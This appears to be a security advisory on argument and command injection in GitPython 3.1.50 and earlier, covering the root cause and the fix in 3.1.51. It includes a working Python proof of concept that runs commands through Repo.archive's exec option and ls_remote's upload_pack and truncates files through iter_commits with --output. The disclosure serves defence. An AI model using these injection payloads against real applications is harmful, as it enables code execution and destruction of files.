high · 8.4Jul 21, 2026

GitPython Command Injection and Arbitrary File Overwrite via Unguarded Git Options

Rohit Hatagale
AI Security Researcher, SecureLayer7

GitPython 3.1.50 and earlier let callers pass dangerous Git options directly into several API methods with no safety check, enabling arbitrary command execution via Repo.archive() and…

PackageGitPython
Ecosystempip
Affected<= 3.1.50
Fixed in3.1.51

The problem

GitPython maintains a denylist of unsafe Git options and enforces it through Git.check_unsafe_options(). That check is wired into only four network-facing methods: clone_from, Remote.fetch, Remote.pull, and Remote.push.

Three other public APIs forward caller-controlled values into the Git argv with no guard at all. Repo.archive(**kwargs) passes keyword arguments verbatim as Git flags before the -- separator, so options like --remote and --exec reach the subprocess unchecked. repo.git.ls_remote(upload_pack=...) uses the dynamic kwarg builder to produce --upload-pack=<value> with no validation. Repo.iter_commits(rev) and Repo.blame(rev, file) place the caller's rev positional before -- with no leading-dash check, so a value like --output=/path is parsed by Git as a file-write flag.

Proof of concept

A working proof-of-concept for this issue in GitPython, with the exact payload below.

python
# PoC 1: RCE via Repo.archive (works under default Git config, no special setup)
import io, os, tempfile, subprocess, git

d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)

marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')
if os.path.exists(marker): os.remove(marker)

# kwargs forwarded verbatim -> git archive --remote=. --exec='touch <marker>' -- HEAD
opts = {'remote': '.', 'exec': 'touch ' + marker}
try:
    repo.archive(io.BytesIO(), **opts)
except git.exc.GitCommandError:
    pass

print('[+] RCE marker present:', os.path.exists(marker))  # True

# PoC 2: RCE via ls_remote
repo.git.ls_remote('.', upload_pack='touch /tmp/gp_lsr_marker;')

# PoC 3: Arbitrary file truncation via iter_commits
victim = '/tmp/gp_fw_victim'
open(victim, 'w').write('do not delete\n')
try:
    list(repo.iter_commits('--output=' + victim))
except git.exc.GitCommandError:
    pass
print('[+] file truncated:', open(victim).read() == '')  # True

The root cause is scope: check_unsafe_options() exists and works, but it is called from only four call sites, all of them network commands. Every other method that builds a Git argv from caller input is unguarded.

For Repo.archive, transform_kwarg() dashifies Python keyword arguments into --name=value flags and inserts them before the -- end-of-options marker. Passing exec='<cmd>' produces git archive --remote=<repo> --exec=<cmd> -- HEAD. Git's archive --remote invokes git-upload-archive; --exec overrides the helper binary path.

No protocol.ext.allow configuration is needed.

For iter_commits and blame, the rev argument lands before -- with no leading-dash check. Git honours --output=<file> in rev-list, log, and blame, opening and truncating the target file before it validates the revision. The file is destroyed even though Git then errors out.

CWE-88 (Argument Injection) and CWE-77 (Command Injection) both apply.

The fix

Upgrade to GitPython 3.1.51 (commit 701ce32, PR #2163). The patch extends check_unsafe_options() coverage to Repo.archive, ls_remote, iter_commits, blame, and the general dynamic-command builder, and adds a leading-dash guard on positional rev arguments before the -- separator.

Reporter not attributed.

References: [1][2][3][4][5]

Related research